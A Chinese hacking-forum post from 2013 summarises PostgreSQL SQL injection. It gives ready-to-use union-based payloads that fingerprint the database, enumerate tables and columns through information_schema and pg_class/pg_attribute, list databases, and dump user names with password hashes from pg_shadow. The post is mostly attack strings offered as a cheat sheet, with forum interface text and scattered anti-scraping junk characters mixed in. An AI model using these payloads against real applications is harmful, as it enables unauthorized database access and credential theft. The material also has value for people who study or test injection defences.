找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2247|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
9 S  x+ m' ~% \5 Q% s0 T6 i

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
) J( M7 w% {* A2 I) b% W) ]连接符: %20 , + , /**/

内置函数:( f! h8 B4 @) q( U: A2 `
current_database() //当前数据库名: V* q! \0 U2 E$ `3 E1 K
session_user //会话用户0 ]% y1 C1 W8 A4 k9 Z$ y: ?: {
current_user //当前数据库用户
' Q0 ^: \) v# k. v) b. y6 G+ Uuser //当前用户  v! z9 }  G7 ^' l$ K
version() //数据库版本

Union注射:. B$ V7 Y& |7 J! w7 e. ^
order by n–
$ M/ Q- c' o8 ]1 gand 1=2 union select null,null,null–, u( O6 P* p" E, V: i9 N' x
and 1=2 union select ‘beach’,null,null–
9 ^5 f8 l3 N9 Mand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):4 I+ k3 s. W- w
group_concat(table_name)
# j4 p: ]1 ]0 Oand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–, r) {$ p$ p5 G
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
0 K( {8 F( {  J0 s  P: _(老版本)% q6 `# V6 v! F5 O& |( N7 V/ _
pg_class.oid对应pg_attribute.attrelid( R$ @9 v. {& M! `4 S% d5 T# `
pg_class.relname表名
! E! d: v" y. E+ t2 ]. E3 Epg_attribute.attname字段名

select relname from pg_class获取表名! C1 L' P+ X$ J/ c; ?: \* p
select oid from pg_class where 条件 获取参数
' l& A9 o/ g& t  m0 }8 yselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
2 n; n7 ]2 V  k7 E- P3 Zand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
+ x6 G& h+ E6 i2 kand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–" Y0 X( G- [) P% J
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
4 ^9 q2 E+ C* a======================================================================$ K* V" c( b5 t4 l/ F
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
+ H8 c5 B: U6 @+ }% |" h) |8 Vand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表